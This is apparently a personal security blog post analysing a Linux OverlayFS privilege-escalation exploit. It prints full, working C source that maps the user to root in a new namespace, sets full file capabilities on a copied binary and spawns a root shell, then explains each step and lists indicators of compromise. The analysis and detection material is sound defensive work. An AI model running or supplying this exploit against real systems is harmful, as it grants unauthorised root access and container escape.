Analyzing Malware utilizing OverlayFS Exploit
I am a 19 year old, self-taught, computer programmer and aspired malware analyst. I have also taught myself penetration testing via TryHackMe and HTB. I hope to one day work in a security operations centre, protecting companies world-wide from threats.
The code leverages known vulnerabilities in the OverlayFS filesystem driver, likely CVE-2021-3493 or CVE-2023-0386, to gain root-level access. The exploit allows an unprivileged local user to execute arbitrary code with the highest privileges, leading to a complete compromise of the affected host.
// OverlayFS setxattr Privilege Escalation Exploit
// analyzed by charlie avery (@xoravery) (https://xoravery.hashnode.dev)
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>
//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags); // prototype declaration for setxattr
#define DIR_BASE "./ovlcap" // base directory for exploit
#define DIR_WORK DIR_BASE "/work" // work directory for overlayfs
#define DIR_LOWER DIR_BASE "/lower" // lower directory for overlayfs
#define DIR_UPPER DIR_BASE "/upper" // upper directory for overlayfs
#define DIR_MERGE DIR_BASE "/merge" // merged directory for overlayfs
#define BIN_MERGE DIR_MERGE "/magic" // path to copied binary in merged directory
#define BIN_UPPER DIR_UPPER "/magic" // path to copied binary in upper directory
// helper functions
static void xmkdir(const char *path, mode_t mode)
{
if (mkdir(path, mode) == -1 && errno != EEXIST)
err(1, "mkdir %s", path);
}
static void xwritefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);
close(fd);
}
static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
int fi, fo;
if ((fi = open(src, O_RDONLY)) == -1)
err(1, "open %s", src);
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
err(1, "open %s", dst);
char buf[4096];
ssize_t rd, wr;
for (;;) {
rd = read(fi, buf, sizeof(buf));
if (rd == 0) {
break;
} else if (rd == -1) {
if (errno == EINTR)
continue;
err(1, "read %s", src);
}
char *p = buf;
while (rd > 0) {
wr = write(fo, p, rd);
if (wr == -1) {
if (errno == EINTR)
continue;
err(1, "write %s", dst);
}
p += wr;
rd -= wr;
}
}
close(fi);
close(fo);
}
// exploit function for overlayfs setxattr privilege escalation
static int exploit()
{
char buf[4096];
sprintf(buf, "rm -rf '%s/'", DIR_BASE);
system(buf);
xmkdir(DIR_BASE, 0777);
xmkdir(DIR_WORK, 0777);
xmkdir(DIR_LOWER, 0777);
xmkdir(DIR_UPPER, 0777);
xmkdir(DIR_MERGE, 0777);
uid_t uid = getuid();
gid_t gid = getgid();
// create new user and mount namespaces
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");
// disable setgroups
xwritefile("/proc/self/setgroups", "deny");
// map current uid/gid to root inside the new namespace
sprintf(buf, "0 %d 1", uid);
xwritefile("/proc/self/uid_map", buf);
// map current gid
sprintf(buf, "0 %d 1", gid);
xwritefile("/proc/self/gid_map", buf);
// mount overlayfs
sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);
// all+ep
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00"; // capabilities in shellcode form for overlayfs exploit
xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
// set the capabilities xattr on the binary in the merged directory
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
err(1, "setxattr %s", BIN_MERGE);
return 0;
}
int main(int argc, char *argv[])
{
// if called as "magic" or with "shell" argument, spawn root shell directly
if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
err(1, "execl /bin/bash");
}
// otherwise, perform the exploit
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0);
}
execl(BIN_UPPER, BIN_UPPER, "shell", NULL); // spawn root shell
err(1, "execl %s", BIN_UPPER);
}
The exploit works by creating a new user namespace to manipulate file capabilities, a core feature of the Linux kernel for fine-grained privilege control. By exploiting a flaw in how OverlayFS validates these capabilities across different filesystem layers, the attacker can craft an executable with full effective capabilities. When this modified executable is run, it grants the attacker a root shell, providing unrestricted access to the system.
This technique is a known method for privilege escalation and container escape. Its presence on a system is a high-fidelity indicator of malicious activity.
Code breakdown
The provided C code implements a sophisticated multi-stage exploit. The core logic can be broken down into the following steps:
1. Environment Setup: The code first creates a set of directories (`./ovlcap`, ./ovlcap/work, ./ovlcap/lower, ./ovlcap/upper, ./ovlcap/merge) to serve as the basis for an OverlayFS mount. This is a standard procedure for using this filesystem.
2. Namespace Manipulation: The exploit calls unshare(CLONE_NEWNS | CLONE_NEWUSER). This is a critical step that isolates the process in a new mount and user namespace. Within this new user namespace, the process has full administrative privileges, which allows it to perform actions that would normally be restricted.
3. User and Group ID Mapping: Inside the new namespace, the code writes to /proc/self/uid_map and /proc/self/gid_map. This maps the unprivileged user's ID from the parent namespace to the root user ID (0) within the new namespace. This is a standard technique for gaining root privileges within a user namespace.
4. OverlayFS Mount: The code then performs a mount() system call to create an OverlayFS union mount. The upperdir, lowerdir, and workdir are set to the previously created directories.
5. Capability Abuse: This is the core of the exploit. The code copies itself (`/proc/self/exe`) to the merged OverlayFS directory. It then uses the setxattr() system call to attach a security.capability extended attribute to the copied executable. The value of this attribute (`\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00`) is a handcrafted set of file capabilities that effectively grants all possible privileges.
6. Execution and Privilege Escalation: The main function of the program is designed to act as both the exploit trigger and the payload. It forks a child process to run the exploit() function. After the child successfully creates the privileged executable in the upper directory, the parent process executes this new binary. The kernel, due to the vulnerability, incorrectly honors the file capabilities, and the new process is started with root privileges. The program then executes /bin/bash, providing the attacker with an interactive root shell.
Indicators of Compromise (IOCs)
Filesystem IOCs:
* Creation of the directory structure: ./ovlcap, ./ovlcap/work, ./ovlcap/lower, ./ovlcap/upper, ./ovlcap/merge.
* An executable file within the ./ovlcap/upper/ directory, often named magic.* The presence of an executable with the security.capability extended attribute set.
Behavioral IOCs:
* Execution of unshare with CLONE_NEWNS and CLONE_NEWUSER flags by an unexpected process.
* Writes to /proc/self/uid_map, /proc/self/gid_map, and /proc/self/setgroups by unprivileged user processes.
* mount system calls using the overlay filesystem type originating from unexpected processes.
* Execution of a process from a path within an OverlayFS upperdir that results in a root shell.
